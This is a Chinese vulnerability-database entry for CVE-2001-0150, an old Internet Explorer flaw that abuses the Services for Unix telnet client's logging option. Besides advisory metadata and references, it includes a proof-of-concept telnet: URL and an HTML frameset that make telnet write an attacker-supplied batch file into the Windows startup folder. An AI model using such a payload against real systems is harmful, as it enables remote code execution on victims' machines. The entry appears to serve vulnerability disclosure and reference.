Microsoft IE远程登录客户端文件覆盖漏洞-安全小百科

Microsoft IE远程登录客户端文件覆盖漏洞

漏洞ID	1106251	漏洞类型	其他
发布时间	2001-03-09	更新时间	2005-05-04
CVE编号	CVE-2001-0150	CNNVD-ID	CNNVD-200106-049
漏洞平台	Windows	CVSS评分	5.1

|漏洞来源

https://www.exploit-db.com/exploits/20680
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-049

|漏洞详情

InternetExplorer5.5版本及之前版本执行使用被网站指定的命令行参数的Telnet会话，远程攻击者可以在IE客户端使用在Unix(SFU)2.0版本Services中被提供的Telnet客户端的条件下执行任意命令。

|漏洞EXP

source: http://www.securityfocus.com/bid/2463/info

Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later. 

The following URL will cause IE to connect to the host and initiate the logging function:

telnet:-f%20file.txt%20host

The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication.

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet:-f%20Documents%20and%SettingsAll%20Users
start%20menuprogramsstartupstart.bat%20host%208000>
</frameset>
</html>

|参考资料

来源:MS
名称:MS01-015
链接:http://www.microsoft.com/technet/security/bulletin/MS01-015.asp
来源:XF
名称:ie-telnet-execute-commands(6230)
链接:http://xforce.iss.net/xforce/xfdb/6230
来源:BID
名称:2463
链接:http://www.securityfocus.com/bid/2463
来源:OSVDB
名称:7816
链接:http://www.osvdb.org/7816

相关推荐: Peer2Mail 1.4 – Encrypted Password Dumper

Peer2Mail 1.4 – Encrypted Password Dumper 漏洞ID 1054860 漏洞类型发布时间 2005-01-16 更新时间 2005-01-16 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Windows CV…

文章版权归作者所有，未经允许请勿转载。

THE END